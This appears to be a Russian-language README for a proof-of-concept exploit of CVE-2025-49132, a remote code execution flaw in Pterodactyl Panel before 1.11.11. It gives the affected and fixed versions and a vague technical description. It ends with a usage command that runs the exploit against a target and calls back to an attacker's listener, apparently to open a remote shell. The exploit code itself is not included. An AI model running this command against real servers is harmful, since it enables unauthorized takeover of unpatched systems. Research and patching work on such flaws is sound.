CVE-2025-49132 PoC от Pwndalf

Обзор

Этот репозиторий содержит Proof of Concept (PoC) для CVE-2025-49132 — уязвимости удалённого выполнения кода (RCE), затрагивающей Pterodactyl Panel < 1.11.11 Этот PoC был разработан и протестирован в контролируемой лабораторной среде в исследовательских и образовательных целях.

Затронутые версии

• Версии Pterodactyl Panel до 1.11.11

Исправленная версия

• Pterodactyl Panel 1.11.11 и новее

Техническое описание

Уязвимость возникает из-за недостаточной проверки пользовательского ввода в обработчике запросов, что допускает непредусмотренное взаимодействие с внутренним интерфейсом. При определённых условиях это может привести к удалённому выполнению команд.

Требования

• Python 3.8+
• TCP-слушатель

Использование

python3 exploit.py -t <target> -l <listener_ip> -p <listener_port>